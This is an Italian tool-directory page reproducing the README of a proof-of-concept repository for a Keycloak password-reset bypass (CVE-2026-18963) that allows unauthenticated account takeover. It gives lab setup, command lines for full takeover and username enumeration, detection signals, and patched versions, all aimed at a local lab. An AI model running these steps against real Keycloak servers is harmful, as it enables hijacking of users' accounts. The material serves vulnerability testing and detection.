Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Keycloak_CVE-2026-18963_PoC — Questo repository è una proof of concept della cve-2026-18963. Utilizzalo solo su prodotti legali (laboratorio, locale, ...). | Kitploit
Strumenti/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneLab e Pratica
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Questo repository è una proof of concept della cve-2026-18963. Utilizzalo solo su prodotti legali (laboratorio, locale, ...).

Vedi Repository
16482 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-18963

Bypass di reset-credentials in Keycloak → takeover dell'account non autenticato CVSS 9.1 | Interessato: Keycloak 26.0.0 – 26.7.1


Struttura

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Requisiti

  • Docker + Docker Compose
  • Python 3.9+ (solo libreria standard, nulla da installare)
  • Linux

Passo 1: Avviare il laboratorio

docker compose up -d

Oppure esegui Keycloak direttamente, senza l'importazione del realm:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Attendi circa 30–60 secondi affinché Keycloak completi l'avvio.

Servizi

ServizioURLVersioneStato
kc-vulnhttp://localhost:808026.7.1VULNERABILE ⚠️
Mailpithttp://localhost:8025latestCattura le email

Credenziali predefinite

  • Admin di Keycloak: admin / admin
  • Utente vittima: victim / OriginalPassw0rd!
  • Realm: poc | Client: poc-app
  • Verifica la configurazione: Impostazioni realm → scheda Login → Forgot password è attivo.
  • Se il realm poc o l'utente victim mancano, importalo manualmente: Manage realms → Create realm → Upload realm-poc.json.

Passo 2: Esegui il PoC

Verifica sicura (nessun username richiesto, nessun effetto collaterale)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Risultato atteso su kc-vuln: [!] VULNERABLE — email gate execution served


Prova non distruttiva (si ferma al modulo Update Password)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Effetti collaterali: viene inviata un'email di reset alla vittima (visualizzala su http://localhost:8025), e emailVerified viene impostato su true.


Takeover completo

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Successivamente, verifica effettuando l'accesso su http://localhost:8080/realms/poc/account con victim / PoCPassw0rd!1.


Enumerazione degli username

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Passaggio 3: Ripristinare la vittima allo stato iniziale

Il realm viene importato solo al primo avvio, quindi il ripristino più semplice consiste nel ricreare l'ambiente da zero:

docker compose down -v && docker compose up -d

In alternativa, reimposta manualmente la password nella console di amministrazione (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Teardown

docker compose down -v

Segnali di rilevamento

SegnaleLegittimoExploit
GET /login-actions/action-token?...✅ Sì❌ No
POST .../reset-credentials con body tryAnotherWay=yes❌ No✅ Sì
SEND_RESET_PASSWORD → UPDATE_PASSWORD con lo stesso code_id < 2 sRaro✅ Sempre
emailVerified passa a true senza evento VERIFY_EMAIL❌✅ Sempre

In Mailpit (http://localhost:8025) l'email di reset della password arriva nella casella di posta della vittima, ma il link al suo interno non viene mai cliccato quando l'exploit ha successo.


Versioni interessate

Linea di rilascioInteressataCorrezione
≤ 17 (WildFly)No—
26.0 – 26.326.0.0 – 26.x.xNessuna (passare a 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport vendor)
26.526.5.0 – 26.5.7Nessuna
26.626.6.0 – 26.6.526.6.6 (backport vendor)
26.726.7.0 – 26.7.126.7.2 ✅

Le versioni precedenti alla 26.0 non sono interessate: la nota persistente AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED e la schermata di selezione "Try another way" nel flusso di reset sono state introdotte nella 26.0.0. Le build più vecchie semplicemente non hanno il percorso di codice vulnerabile — il che non equivale a essere state corrette.


Riferimenti

  • Sploitus (README originale): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Issue di Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR di correzione: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Scarica lo strumento